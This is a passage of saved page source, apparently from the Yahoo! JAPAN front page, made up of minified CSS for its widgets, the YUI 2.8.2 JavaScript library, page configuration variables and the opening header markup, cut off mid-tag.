x:-moz-any-link{max-height:1.23em;}.topicsindex .emphasis li img{margin-left:2px;}.topicsindex .more{margin:12px 15px;}.topicsindex .more li{display:inline;padding-right:1em;}.topicscatch{float:right;width:35.2%;margin-top:10px;padding-top:1px;}#topicsbox .topicsdetail{padding:3px 5px 3px 9px;margin:-1px 0 0;}#topicsboxbd .topicsdetail{border:1px solid;}.topicsimg{margin:6px 0 0 -4px;padding-bottom:2px;text-align:center;}#tpcsimgfilter{margin:auto;}.topicscatch h3,.topicscatch ul li{margin:2px -3px 0 0;padding-bottom:2px;}.topicscatch p{margin-bottom:2px;padding:2px 0;}#topicsbox em,#topicsbox .topicsdetail cite{display:block;color:#666;}#topicsbox .topicsdetail cite{margin-bottom:5px;}.topicscatch .item{padding:1px 0 2px;margin-left:-5px;}.topicscatch .mds{margin-bottom:5px;}.tpcdtlinfo{position:relative;padding-bottom:4px;}.tpcdtlinfo dt,.tpcdtlinfo dd{line-height:1.1em;*line-height:1em;}.tpcdtlinfo dt{margin-top:4px;}.tpcdtlinfo dd{text-align:right;margin-right:4px;}.tpcdtlinfo dt.ex,.tpcdtlinfo dt.last{position:absolute;left:0;}.tpcdtlinfo dd.ex,.tpcdtlinfo dd.last{margin-top:4px;margin-left:3em;}.tpcdtlinfo dd.low{color:#f00;}#othersfb{padding:5px 0 0 10px;*margin-right:-10px;}#othersfb .detail{float:left;width:50%;*width:49.8%;}#othersdetail3{clear:both;padding-top:10px;overflow:hidden;}#othersdetail3 h3{float:left;padding-right:14px;}#othersdetail3 h4{margin:0 -10px 8px 0;font-weight:normal;}#topicsbox .notfound{_height:auto;min-height:1em;}.notfound #topicsfb p{color:#666;line-height:1.7em;margin:20px 16px 20px;}.notfound #topicsfb p strong{margin-left:-6px;}.notfound #topicsfb p a{text-decoration:underline;}#topicsInfo dt a{display:block;width:46px;height:46px;background-position:0 -200px;text-indent:-9999px;overflow:hidden;line-height:0;}#spotlight{padding:10px 10px 0;background-position:0 -300px;*zoom:1;}#splsentence{float:left;width:61%;}.spltmp3 #splsentence{margin-bottom:2em;}.spltmp3 #splsentence h2{margin-bottom:0.5em;}#spotlight .nonImg{width:auto;}#splsentence p{margin:10px 4px;line-height:1.5;*line-height:1.4;}#splimg{float:right;width:142px;padding-bottom:5px;text-align:center;}#splimgfilter{width:142px;height:100px;}#spotlight ul{clear:both;margin:0 9px 9px;overflow:hidden;*zoom:1;}#spotlight ul li{float:left;width:50%;margin:3px -1px 3px 0;}#spotlight ul li.ex{width:auto;}#spotlight .mds{margin:0 12px 2px;}#spldetail{clear:both;margin-bottom:10px;padding:3px 5px;text-align:center;}#splBkNum{margin:0 -10px;}#eventPromo{padding:11px 8px;overflow:hidden;*zoom:1;}#eventPromo .img{float:left;padding-right:8px;}#eventPromo p{margin:4px 0 0 178px;line-height:1.4em;}#selectionR #slcbd{position:relative;min-height:125px;_height:125px;overflow:hidden;_overflow:visible;}#selectionR .slcImg{padding:5px;}#selectionR li{margin:0 0 7px;*zoom:1;}#selectionR #slcbd,#selectionR h4{padding:4px 5px;*padding-bottom:8px;}#selectionR p{margin:4px 5px;}#selectionR h4,#selectionR ul{margin-bottom:4px;padding-right:0;}#selectionR h5{padding-top:5px;font-weight:normal;}#selectionR h5.f2b a{padding:2px 0 2px 18px;background-repeat:no-repeat;background-position:0 50%;}#selectionR .slctmpR2 h4,#selectionR .slctmpR12 h4{padding-bottom:0;}#selectionR .slctmpR11{margin-left:4px;}#selectionR .slctmpR12{padding-right:0;}#selectionR .slctmpR12 p{margin-top:0;}#selectionR .slctmpR13 h4{padding-right:5px;}#selectionR .slctmpR13 ul{clear:left;}#selectionR .slctmpR15 .slcImg{padding:5px 0;text-align:center;}.al{float:left;padding-right:10px;}.ar{float:right;}.ac{text-align:center;}.pa{position:absolute;left:5px;}.c2{width:50%;*width:49.9%;float:left;}.c2b{width:50%;*width:39.5%;float:left;}.c3{float:left;width:33.33%;*width:33%;}.c3b{width:33.33%;*width:25%;float:left;}.c4{width:25%;*width:24.9%;float:left;}.f1{margin-left:83px;}.f2b{margin-left:129px;}#vdobd{overflow:hidden;*zoom:1;}#vdobd .imgfilter{width:120px;height:90px;}#vdobd em{color:#666;line-height:1.22;}.vdotmp1b{position:relative;padding:2px 10px 6px;}.vdotmp1b em{float:left;display:block;margin-top:105px;width:120px;}.vdotmp1b em span{vertical-align:bottom;}.vdotmp1b .img{position:absolute;top:10px;left:9px;border:1px solid #666;padding:1px;}.vdotmp1b .symbol{padding:0 0 1.5em 130px;*margin:10px 0 0 -3px;}.vdotmp1b .more{position:absolute;right:10px;bottom:7px;line-height:1.1;}.vdotmp2{padding:4px 0 4px 11px;background-position:0 -2440px;background-repeat:repeat-x;}.vdotmp2 ul{*zoom:1;*margin-right:-2px;}.vdotmp2 ul li{float:left;width:33.3%;margin-bottom:0;}.vdotmp2 ul li .imgfilter{margin:0 auto 22px;}.vdotmp2 ul li .img,.vdotmp2 ul li p,.vdotmp2 ul li em{padding-right:10px;}#cgmboxR #cgmbd{padding:9px 8px 0;overflow:hidden;*zoom:1;}#cgmboxR h3{margin-bottom:8px;}#cgmboxR p{padding-bottom:10px;line-height:1.5em;}#cgmboxR img{float:left;}.cgmtmpR2b ul{margin:-7px 0 0 127px;}.cgmtmpR3 ol,.cgmtmpR4 ul,.cgmtmpR10 ul,.cgmtmpR13 ol{float:left;width:50%;*width:49.8%;margin:-7px 0 1px;overflow:hidden;*zoom:1;}#cgmboxR .cgmtmpR5 li p,#cgmboxR .cgmtmpR6 li p{margin:2px 12px 0;padding-bottom:0;line-height:1.2em;*line-height:1.1em;}.cgmtmpR6 ul{margin-left:108px;}.cgmtmpR7 img,.cgmtmpR11 img{clear:both;}.cgmtmpR7 h4,.cgmtmpR11 h4{margin-bottom:10px;font-weight:normal;}.cgmtmpR7 .detail,.cgmtmpR11 .detail{_height:84px;min-height:84px;margin-left:110px;}.cgmtmpR12 p{margin-bottom:-5px;}.cgmtmpR13 ol{*padding-bottom:2px;}#announce .item{margin:8px 0 0 3px;}#sub #brandpanel{position:relative;z-index:3;border:0;background-color:transparent;text-align:center;}#sub .yzq_x{left:-9999px;}#disaster{padding-bottom:7px;border-color:#414141 !important;background-color:#fff !important;}#disaster h2{height:32px;background:#666 url(http://k.yimg.jp/images/top/sp2/emg/disaster_ttl-110401.png) no-repeat 50% 50%;line-height:32px;text-indent:-9999px;}#disaster ul{padding-left:3px;}#disaster li{float:left;width:46.2%;margin:7px 0 0;}#personalbox{z-index:2;padding:5px 5px 0;*zoom:1;}#personalbox h2{display:none;}#pbproperty .connect,#personalbox h3 span,#personalbox #pbdata{font-weight:bold;}#pbidinfo,#pbproperty{position:relative;*zoom:1;}#pbidinfo li{margin:3px 0 0;}#pbidinfo .loginout{position:absolute;top:2px;}#pbidinfo .info{position:absolute;right:0;top:0.5em;}#pbidinfo .info span{position:absolute;right:0;width:5em;top:-0.3em;text-align:center;}#pbproperty{margin-top:2.2em;border:1px solid;background:#fff;*zoom:1;}#pbproperty .connect{padding:4px 0;margin:0 0 0 4px;}#pbproperty .connect #mailicon{position:absolute;display:block;width:36px;height:27px;float:left;margin-top:-7px;text-indent:-9999px;overflow:hidden;background-position:0 -130px;}#pbproperty .connect #mailicon.on{background-position:0 -160px;}#pbproperty .connect .txt{padding-left:40px;}#pbproperty .shortcut{position:absolute;top:50%;right:5px;margin-top:-8px}#pbproperty .shortcut li{float:left;padding-left:8px;margin:0;}#pbproperty .shortcut li a{display:block;overflow:hidden;text-indent:-9999px;width:16px;height:16px;background-position:0 -94px;}#pbproperty .shortcut li a.second{background-position:-19px -94px;}#pbproperty .shortcut li a.third{background-position:-37px -94px;}#pbindex{position:relative;z-index:2;*zoom:1;}#pbindex li{margin:0;}#pbindex .high{color:#f00;}#pbindex .low{color:#00f;}#pbindexbg{position:relative;z-index:2;margin-top:2px;}#pbtoday{position:relative;margin-right:44.5%;*margin-right:45%;_margin-right:40%;padding:2px;*zoom:1;*height:152px;background-color:#fff;border-style:solid;border-width:1px;}#pbtoday:after{content:\"\";display:block;clear:both;}#pbweather,#pbplan,#pbfortune{padding:3px 2px;border-top:1px solid;*zoom:1;clear:left;}h3#pbdata{background-position:0 -601px;padding:3px 0;text-align:center;}#pbweather{position:relative;z-index:9;}#pbweather.grayout{*zoom:1;line-height:1.3;}#pbweather .img{position:absolute;display:block;width:175px;height:48px;top:0;margin-top:-5px;*margin-top:-3px;text-indent:-9999px;background-position:-250px -250px;}#pbweather.grayout #pbwlocation{padding-top:4px;*padding-top:1px;}#pbweather h3{float:left;}#pbwarea{text-indent:10px;}#pbwicon{clear:left;float:left;}#pbwicon a{display:block;width:33px;height:20px;}#pbindex #pbwtemperature{float:right;margin-top:4px;padding-left:2em;border-left:1px solid #999999;line-height:1;}#pbwrprobability{margin-bottom:3px;padding:3px 15px 0 0;text-align:center;}#pbtoday .grayout h3{float:none;}#pbwlocation{clear:left;text-align:right;}#pbplan h3,#pbfortune h3{position:absolute;}#pbpnumber,#pbfconstellation{float:left;padding:0 0 3px 5.8em;}#pbfpoint{float:right;}#pbfortune{z-index:5;}#pbfortune .floatingw{position:absolute;left:-1px;z-index:9;width:15em;margin-top:1em;padding:5px 2px 1px 5px;border:1px solid #ccc;background:#fffac6;zoom:1;}#pbfortune .floatingw li{float:left;width:4.8em;padding:0 0.2em 0.4em 0;position:relative;}#pbfortune .floatingw li.ex{width:auto;}#pbfortune .floatingw li a{padding-left:17px;background-image:url(http://k.yimg.jp/images/top/sp2/pb/fotune_icon-101026.png);background-repeat:no-repeat;}#aries{background-position:0 0;}#taurus{background-position:0 -40px;}#gemini{background-position:0 -80px;}#cancer{background-position:0 -120px;}#leo{background-position:0 -160px;}#virgo{background-position:0 -200px;}#libra{background-position:0 -240px;}#scorpio{background-position:0 -280px;}#sagittarius{background-position:0 -320px;}#capricorn{background-position:0 -360px;}#aquarius{background-position:0 -400px;}#pisces{background-position:0 -440px;}#nofortune{background-position:0 -480px;}#pbcalendar{position:relative;float:right;width:43%;margin-bottom:-3px;background-color:#fff;border-style:solid;border-width:1px;}#pbcalendar table{width:99%;}#pbcalendar table th{text-align:center;padding:3px 5px;}#pbcalendar table th ul li{float:left;}#pbcalendar table th ul li a{position:absolute;}#pbcPrev{left:0;margin-left:3.2em;}#pbcNext{right:0;margin-right:3.2em;}#pbcMonth{font-weight:bold;margin:0 10px;*zoom:1;}#pbcYear{position:absolute;top:3px;margin-top:3px;right:3px;font-size:85%;color:#666;}#pbcalendar table td{text-align:right;}#pbcalendar table td a{display:block;padding:1px 0 0;min-width:16px;white-space:nowrap;border:1px solid #fff;}#personalbox table td .e{color:#999;}#personalbox table td .h{color:#f00;}#personalbox table td .b{font-weight:bold;*padding:1px 1px 1px 0;}#personalbox table td .c{border-color:#1d3994;}#pbcalendar table td.t a{color:#fff;}#pbsocial{margin-top:5px;padding:4px 8px;*padding:3px 8px 5px;background:#fff;border:1px solid;overflow:hidden;*zoom:1;}#pbsocial p a{background-position:0 -1832px;display:block;float:left;margin:-1px 0;padding:2px 0 2px 20px;min-height:13px;}#pbsocial dl{margin:0 -5px;}#pbsocialInfo{float:left;width:56%;padding-top:2px;background-position:0 -1873px;}#pbsocial dt a{padding-left:16px;}#pbsocial dd{float:right;background-image:url(http://k.yimg.jp/images/top/sp2/pb/vitality_bg-091118.png);background-repeat:no-repeat;}#pbsocial dd{padding-left:5px;}#pbsocialNotice{border-left:1px solid #999;}#pbsocial dd.level0{background-position:5px 2px;}#pbsocial dd.level1{background-position:5px -38px;}#pbsocial dd.level2{background-position:5px -78px;}#pbsocial dd.level3{background-position:5px -118px;}#pbsocial dd.level4{background-position:5px -158px;}#pbsocial dd.level4x{background-position:5px -198px;}#pbsocial dd a{display:block;width:65px;text-indent:-9999px;overflow:hidden;}#pbsocialNotice a{background-position:6px -1913px;}#pbsocialMsg a{background-position:6px -1953px;}#pblogininfo{margin:5px -4px 0;border-top:1px solid;*zoom:1;}#pblogininfo ul{padding-left:12px;border-top:1px solid #fff;}#pblogininfo ul li{margin:3px 0;}#pblogininfo li a{padding:2px 0 2px 20px;background-repeat:no-repeat;min-height:13px;display:inline-block;}#pblogininfo .point{float:left;width:54%;*width:52.8%;border-right:1px solid #999;}#pblogininfo .star{float:right;width:43%;}#pblogininfo .point a{background-position:0 -1652px;}#pblogininfo .star a{background-position:0 -1992px;}#pblogininfo .login a{background-position:0 -1692px;}#pbdplan li,#pbdBd3 li,#pbdClose{background-image:url(http://k.yimg.jp/images/top/sp2/pb/calendar_icon-100310.png);background-repeat:no-repeat;}#pbdetailbg{display:none;position:absolute;top:-1px;left:-1px;right:0;z-index:9999;width:101%;_width:104%;border-style:solid;border-width:0 1px 1px 0;border-color:#ccc;}#pbdetail{background-color:#fff;border-style:solid;border-width:1px;*zoom:1;}#pbdHd,.pbdHr{margin:0 4px;padding:5px 0 3px;*padding:5px 0 6px;}.pbdHr{border-top-style:solid;border-top-width:1px;}#pbdHd h3{font-weight:bold;text-align:center;}#pbdHd ul li{*float:left;}#pbdHd ul li a{position:absolute;top:6px;}#pbdHd ul li a.prev{left:7px;}#pbdHd ul li a.next{right:7px;}#pbdBd1 dt{display:none;}#pbdBd1 dd{display:inline-block;margin-right:7px;vertical-align:middle;}#pbdweather{margin-top:-4px;}#pbdplan li{padding:0 0 5px 15px;}#pbdBd2{min-height:115px;_height:115px;}#pbdBd2 .dtl{margin:8px 15px 0;color:#666;line-height:1.5;}#pbdBd2 .more{padding-top:2px;text-align:right;}#pbdBd3 li{background-position:0 -50px;padding:0 0 0 15px;}#pbdFt{padding:3px 4px;text-align:center;}#pbdClose{background-position:100% -100px;padding:0 20px 1px 0;}#yjidbox{position:relative;*zoom:1;}#yjidbox{min-height:68px;padding:5px 10px;}#yjidbox h2{float:left;margin-right:1.2em;}#yjidbox h2 a{background-position:0 -1793px;padding:2px 0 2px 20px;*zoom:1;}#yjidbox .more{text-align:right;}#yjidbox img{position:absolute;left:10px;margin-top:5px;}#yjidbox ul{margin:10px 0 12px 60px;}#sub #yjidboxB{border:none;background:none;text-align:center;}#everywhere .item{margin:8px 0 0 3px;}#everywherePromo{margin:10px;text-align:center;}#notice ul{padding:0 10px;}#rightbox{overflow:hidden;*zoom:1;}#rightbox #rbdtl3{margin:8px 0 0 3px;}#rightbox #rbdtl3 li{*zoom:1;}#rightbox #rbimg{float:left;}#rightbox #rbimg a{outline:none;}#rightbox #rbimg a img{border:1px solid #ccc;}#rightbox #rbimg img,#rightbox #rbimg2 img{margin:10px;}#rightbox #rbimg img{*margin-bottom:0;}#rightbox #rbdtl{margin:5px 10px;}#rightbox #rbdtl2{margin:13px 10px;}#rightbox #rbdtl a,#rightbox #rbdtl2 a{line-height:1.8em;*line-height:1.6em;}#sub #rightbox2{border-top:0;margin-top:-10px;padding:7px 10px;}#local{z-index:1;*zoom:1;}#localbd{overflow:hidden;*zoom:1;}#localbd .item{margin:8px 0 0 3px;}#localbd dl{clear:both;*zoom:1;margin:0 10px 5px;padding-top:5px;}#localbd dt{display:inline;padding:1px 2px;background-color:#ff7301;color:#fff;font-size:85%;}#localbd dd{display:inline;margin-left:1em;}#localbd .error{padding:7px 16px;color:#666;}#localbd .more{clear:both;*zoom:1;text-align:right;padding:4px 10px;}#partner .item{margin:8px 0 0 3px;}#partner p.more{margin:0 10px 10px;text-align:right;}#footer{padding:5px 0;margin-bottom:0;}#footer ul,#footer address{margin:5px auto;}.ulmwindow .ulmStart0 .ulmwindowbd{overflow:hidden;}.ulmwindow .ulmStart0 .ulmwindowsearch{float:right;}.ulmwindow .ulmStart0 .ulmwindowCth{float:left;}.ulmwindow .ulmStart0 .ulmwindowmds{clear:left;margin:0;width:75%;}.ulmwindow{position:absolute;left:-9px;z-index:9;display:block;min-width:328px;width:24.6em;margin-top:-2px;padding:10px;border:1px solid #6990b4;background:#fffac6;color:#666;}.ulmwindow form{position:relative;*zoom:1;}body .ulmwindow .alert{color:#f00;}.ulmwindowttl{margin:10px 0 -6px;}.ulmwindowdtl{height:100px;margin-top:11px;padding:1px 0;border:1px solid #ccc;background:#fff;overflow:auto;}ul.ulmwindowdtl li{margin:3px 0;}ul.ulmwindowdtl li a{display:block;margin:0 1px;padding:1px 0 1px 0.5em;}.ulmwindow .ulmwindowbd{padding:8px 9px;border:1px solid #ccc;background:#fffac6;}.ulmwindow label{display:block;}.ulmwindow .ulmwindowCth{margin-bottom:4px;color:#000;line-height:1.5;}.ulmwindow .ulmwindowmds{margin-bottom:7px;color:#666;}.ulmwindow .ulmStart .ulmwindowmds{margin-bottom:2px;}.ulmwindowmds span{display:block;margin:3px 0 0 1em;}.ulmwindow .ulmwindowsearch *{vertical-align:middle;}.ulmwindow .ulmwindowarea{position:relative;}.ulmwindow .ulmwindowsearch{vertical-align:middle;padding-bottom:3px;}.ulmwindow .ulmwindowsearch input{width:77%;min-height:16px;margin-right:3px;padding:1px 3px;border:1px solid #7f9db9;}.ulmwindow .ulmwindowsearch button{padding:0 10px;min-height:20px;border:1px solid;background-repeat:repeat-x;background-position:0 -2070px;}.ulmwindow .ulmwindowsearch .ulmwindowsrchbtn0{border-color:#666767;background-color:#ccc;}.ulmwindow .ulmwindowsearch .ulmwindowsrchbtn{border-color:#57718f;background-color:#57718f;background-position:0 -2030px;color:#fff;}.ulmwindow .ulmwindowevery{margin:6px 0 0 4em;}.ulmwindow .ulmwindowevery input{margin-right:1em;}.ulmwindowoption{margin:7px 0 -4px;text-align:right;}#localfw{top:1.6em;left:-1px;}#localfw2{position:relative;z-index:10;left:0;width:auto;margin:0;border-width:0 0 1px;border-bottom-color:#ccc;}.ulmwindow .ulmbg{position:absolute;z-index:10;left:10px;bottom:0;display:block;height:9px;width:31px;margin:10px 0 -9px;background-repeat:no-repeat;background-position:0 -190px;}#centralPosition{margin-top:-20px;border-top:0;}#centralPosition h2{padding:2px 2px 7px;}#centralPosition ul{margin:-7px 4px -8px 59px;*margin-bottom:-4px;padding-top:9px;overflow:visible;}#centralPosition li{margin-left:-30px;position:relative;z-index:9;overflow:hidden;}#centralPosition dl{margin:0 9px 0 67px;padding:9px 0 7px 0;background-repeat:repeat-x;background-position:0 -2700px;}#centralPosition dt{position:absolute;left:9px;font-weight:bold;}#centralPosition dd{margin-left:-67px;padding-left:3.8em;}\r\n--\u003e\u003c/style\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nvar ver=\"ga3_sf3\";\r\nif(typeof YAHOO==\"undefined\"||!YAHOO){var YAHOO={}}YAHOO.namespace=function(){var a=arguments,b=null,d,e,c;for(d=0;d\u003ca.length;d=d+1){c=(\"\"+a[d]).split(\".\");b=YAHOO;for(e=(c[0]==\"YAHOO\")?1:0;e\u003cc.length;e=e+1){b[c[e]]=b[c[e]]||{};b=b[c[e]]}}return b};YAHOO.log=function(b,a,c){var d=YAHOO.widget.Logger;if(d\u0026\u0026d.log){return d.log(b,a,c)}else{return false}};YAHOO.register=function(d,i,a){var e=YAHOO.env.modules,c,f,g,h,b;if(!e[d]){e[d]={versions:[],builds:[]}}c=e[d];f=a.version;g=a.build;h=YAHOO.env.listeners;c.name=d;c.version=f;c.build=g;c.versions.push(f);c.builds.push(g);c.mainClass=i;for(b=0;b\u003ch.length;b=b+1){h[b](c)}if(i){i.VERSION=f;i.BUILD=g}else{YAHOO.log(\"mainClass is undefined for module \"+d,\"warn\")}};YAHOO.env=YAHOO.env||{modules:[],listeners:[]};YAHOO.env.getVersion=function(a){return YAHOO.env.modules[a]||null};YAHOO.env.ua=function(){var e=function(i){var h=0;return parseFloat(i.replace(/\\./g,function(){return(h++==1)?\"\":\".\"}))},b=navigator,c={ie:0,opera:0,gecko:0,webkit:0,mobile:null,air:0,caja:b.cajaVersion,secure:false,os:null},f=navigator\u0026\u0026navigator.userAgent,d=window\u0026\u0026window.location,g=d\u0026\u0026d.href,a;c.secure=g\u0026\u0026(g.toLowerCase().indexOf(\"https\")===0);if(f){if((/windows|win32/i).test(f)){c.os=\"windows\"}else{if((/macintosh/i).test(f)){c.os=\"macintosh\"}}if((/KHTML/).test(f)){c.webkit=1}a=f.match(/AppleWebKit\\/([^\\s]*)/);if(a\u0026\u0026a[1]){c.webkit=e(a[1]);if(/ Mobile\\//.test(f)){c.mobile=\"Apple\"}else{a=f.match(/NokiaN[^\\/]*/);if(a){c.mobile=a[0]}}a=f.match(/AdobeAIR\\/([^\\s]*)/);if(a){c.air=a[0]}}if(!c.webkit){a=f.match(/Opera[\\s\\/]([^\\s]*)/);if(a\u0026\u0026a[1]){c.opera=e(a[1]);a=f.match(/Opera Mini[^;]*/);if(a){c.mobile=a[0]}}else{a=f.match(/MSIE\\s([^;]*)/);if(a\u0026\u0026a[1]){c.ie=e(a[1])}else{a=f.match(/Gecko\\/([^\\s]*)/);if(a){c.gecko=1;a=f.match(/rv:([^\\s\\)]*)/);if(a\u0026\u0026a[1]){c.gecko=e(a[1])}}}}}}return c}();(function(){YAHOO.namespace(\"util\",\"widget\",\"example\");if(\"undefined\"!==typeof YAHOO_config){var d=YAHOO_config.listener,a=YAHOO.env.listeners,b=true,c;if(d){for(c=0;c\u003ca.length;c++){if(a[c]==d){b=false;break}}if(b){a.push(d)}}}})();YAHOO.lang=YAHOO.lang||{};(function(){var h=YAHOO.lang,a=Object.prototype,b=\"[object Array]\",g=\"[object Function]\",c=\"[object Object]\",e=[],d=[\"toString\",\"valueOf\"],f={isArray:function(i){return a.toString.apply(i)===b},isBoolean:function(i){return typeof i===\"boolean\"},isFunction:function(i){return(typeof i===\"function\")||a.toString.apply(i)===g},isNull:function(i){return i===null},isNumber:function(i){return typeof i===\"number\"\u0026\u0026isFinite(i)},isObject:function(i){return(i\u0026\u0026(typeof i===\"object\"||h.isFunction(i)))||false},isString:function(i){return typeof i===\"string\"},isUndefined:function(i){return typeof i===\"undefined\"},_IEEnumFix:(YAHOO.env.ua.ie)?function(j,k){var l,m,i;for(l=0;l\u003cd.length;l=l+1){m=d[l];i=k[m];if(h.isFunction(i)\u0026\u0026i!=a[m]){j[m]=i}}}:function(){},extend:function(i,m,j){if(!m||!i){throw new Error(\"extend failed, please check that all dependencies are included.\")}var k=function(){},l;k.prototype=m.prototype;i.prototype=new k();i.prototype.constructor=i;i.superclass=m.prototype;if(m.prototype.constructor==a.constructor){m.prototype.constructor=m}if(j){for(l in j){if(h.hasOwnProperty(j,l)){i.prototype[l]=j[l]}}h._IEEnumFix(i.prototype,j)}},augmentObject:function(n,i){if(!i||!n){throw new Error(\"Absorb failed, verify dependencies.\")}var l=arguments,j,m,k=l[2];if(k\u0026\u0026k!==true){for(j=2;j\u003cl.length;j=j+1){n[l[j]]=i[l[j]]}}else{for(m in i){if(k||!(m in n)){n[m]=i[m]}}h._IEEnumFix(n,i)}},augmentProto:function(i,j){if(!j||!i){throw new Error(\"Augment failed, verify dependencies.\")}var l=[i.prototype,j.prototype],k;for(k=2;k\u003carguments.length;k=k+1){l.push(arguments[k])}h.augmentObject.apply(this,l)},dump:function(q,l){var o,m,j=[],i=\"{...}\",p=\"f(){...}\",k=\", \",n=\" =\u003e \";if(!h.isObject(q)){return q+\"\"}else{if(q instanceof Date||(\"nodeType\" in q\u0026\u0026\"tagName\" in q)){return q}else{if(h.isFunction(q)){return p}}}l=(h.isNumber(l))?l:3;if(h.isArray(q)){j.push(\"[\");for(o=0,m=q.length;o\u003cm;o=o+1){if(h.isObject(q[o])){j.push((l\u003e0)?h.dump(q[o],l-1):i)}else{j.push(q[o])}j.push(k)}if(j.length\u003e1){j.pop()}j.push(\"]\")}else{j.push(\"{\");for(o in q){if(h.hasOwnProperty(q,o)){j.push(o+n);if(h.isObject(q[o])){j.push((l\u003e0)?h.dump(q[o],l-1):i)}else{j.push(q[o])}j.push(k)}}if(j.length\u003e1){j.pop()}j.push(\"}\")}return j.join(\"\")},substitute:function(i,x,p){var t,u,v,m,l,j,n=[],w,s=\"dump\",o=\" \",y=\"{\",k=\"}\",q,r;for(;;){t=i.lastIndexOf(y);if(t\u003c0){break}u=i.indexOf(k,t);if(t+1\u003e=u){break}w=i.substring(t+1,u);m=w;j=null;v=m.indexOf(o);if(v\u003e-1){j=m.substring(v+1);m=m.substring(0,v)}l=x[m];if(p){l=p(m,l,j)}if(h.isObject(l)){if(h.isArray(l)){l=h.dump(l,parseInt(j,10))}else{j=j||\"\";q=j.indexOf(s);if(q\u003e-1){j=j.substring(4)}r=l.toString();if(r===c||q\u003e-1){l=h.dump(l,parseInt(j,10))}else{l=r}}}else{if(!h.isString(l)\u0026\u0026!h.isNumber(l)){l=\"~-\"+n.length+\"-~\";n[n.length]=w}}i=i.substring(0,t)+l+i.substring(u+1)}for(t=n.length-1;t\u003e=0;t=t-1){i=i.replace(new RegExp(\"~-\"+t+\"-~\"),\"{\"+n[t]+\"}\",\"g\")}return i},trim:function(j){try{return j.replace(/^\\s+|\\s+$/g,\"\")}catch(i){return j}},merge:function(){var i={},k=arguments,l=k.length,j;for(j=0;j\u003cl;j=j+1){h.augmentObject(i,k[j],true)}return i},later:function(j,p,i,n,m){j=j||0;p=p||{};var o=i,k=n,l,q;if(h.isString(i)){o=p[i]}if(!o){throw new TypeError(\"method undefined\")}if(k\u0026\u0026!h.isArray(k)){k=[n]}l=function(){o.apply(p,k||e)};q=(m)?setInterval(l,j):setTimeout(l,j);return{interval:m,cancel:function(){if(this.interval){clearInterval(q)}else{clearTimeout(q)}}}},isValue:function(i){return(h.isObject(i)||h.isString(i)||h.isNumber(i)||h.isBoolean(i))}};h.hasOwnProperty=(a.hasOwnProperty)?function(j,i){return j\u0026\u0026j.hasOwnProperty(i)}:function(j,i){return !h.isUndefined(j[i])\u0026\u0026j.constructor.prototype[i]!==j[i]};f.augmentObject(h,f,true);YAHOO.util.Lang=h;h.augment=h.augmentProto;YAHOO.augment=h.augmentProto;YAHOO.extend=h.extend})();YAHOO.register(\"yahoo\",YAHOO,{version:\"2.8.2int\",build:\"5\"});function err(f,e,h){var g=new Image;g.src=\"http://b.www.yahoo.co.jp/p.gif?ver=\"+ver+\"\u0026error=\"+escape(f)+\",\"+escape(e)+\",\"+escape(h);return true}window.onerror=err;String.prototype.rot13=function(){return this.replace(/[a-zA-Z]/g,function(a){return String.fromCharCode((a\u003c=\"Z\"?90:122)\u003e=(a=a.charCodeAt(0)+13)?a:a-26)})};YAHOO.namespace(\"Fp\");YAHOO.namespace(\"Fd\");YAHOO.Fp.beacon=function(a){var b=new Image();b.src=\"http://b.www.yahoo.co.jp/p.gif?t=\"+new Date().getTime()+\"\u0026\"+a;setTimeout(function(){b=null},10000)};YAHOO.Fd.stripChunk=function(a){var b=a.lastIndexOf(\"!--\");if(b\u003c0){return a}return a.substring(0,(b-1))};var d=document;var $=function(a){return(typeof(a)==\"string\")?d.getElementById(a):false};\r\nYAHOO.Fp._ie=YAHOO.Fp._ie8=YAHOO.Fp._ie7=YAHOO.Fp._ie55=0;\r\nYAHOO.Fp._ff=0;\r\nYAHOO.Fp._ffv=parseFloat(\"0\",10);\r\nYAHOO.Fp._ns=0;\r\nYAHOO.Fp._nsv=parseFloat(\"0\",10);\r\nYAHOO.Fp._sf=1;\r\nYAHOO.Fp._sfv=parseFloat(\"534.36\",10);\r\nYAHOO.Fp._op=0;\r\nYAHOO.Fp._mac=0;\r\nYAHOO.Fp._hostname=location.hostname;\r\nYAHOO.Fp._basetag=document.getElementsByTagName('base')[0].href;\r\nYAHOO.Fp._bcrumb=\"t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\";\r\nYAHOO.Fp._plcookie=0;\r\nYAHOO.Fp._jis=\"13208\";\r\nYAHOO.Fp._jpadmin1=\"東京都\";\r\nYAHOO.Fp._jpadmin2=\"\";\r\nYAHOO.Fp._jpadmin3=\"調布市\";\r\nYAHOO.Fp._jpadmin4=\"\";\r\nYAHOO.Fp._jpadmin5=\"\";\r\nYAHOO.Fp._weatherjis=\"13208\";\r\nYAHOO.Fp._firstblock=\"4410\";\r\nYAHOO.Fp._ulmCrumb=\"32af0d89d4cf32ab0a81983a6539d476,1305723876\";\r\nYAHOO.Fp._crumb=\"db88a2a5937c26e662c318b2d2e6bcea\";\r\nYAHOO.Fp._hp=false ;\r\nYAHOO.Fp._srchOldQ = '' ;\r\nYAHOO.Fp._earth=false;\r\nYAHOO.Fp._fortune_json='{aries:83,taurus:59,gemini:91,cancer:68,leo:80,virgo:56,libra:87,scorpio:63,sagittarius:75,capricorn:51,aquarius:95,pisces:71,nofortune:\"--\"}';\r\n//--\u003e\u003c/script\u003e \r\n\u003cscript type=\"text/javascript\" src=\"/javascript/fp_base_bd_ga_5.0.7.js\"\u003e\u003c/script\u003e \r\n\u003clink href=\"http://k.yimg.jp/images/top/sp2/clr/1/clr-101111.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\u003c/head\u003e \r\n\u003cbody\u003e \r\n\u003cdiv id=\"wrapper\"\u003e \r\n\u003cdiv id=\"header\"\u003e \r\n\u003cdiv id=\"masthead\" \u003e \r\n\u003ch1\u003e\u003ca href=r/mlg\u003e\u003cimg src=\"http://k.yimg.jp/images/top/sp/logo.gif\" alt=\"Yahoo! JAPAN\" height=\"59\" width=\"221\"\u003e\u003c/a\u003e\u003c/h1\u003e \r\n\u003cul id=\"mhicon\"\u003e \r\n\u003cli id=\"mhi1st\"\u003e\u003ca title=\"Yahoo! BB\" href=\"r/mbb\"\u003eYahoo! BB\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi2nd\"\u003e\u003ca title=\"オークション\" href=\"r/mauc\"\u003eオークション\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi3rd\"\u003e\u003ca title=\"My Yahoo!\" 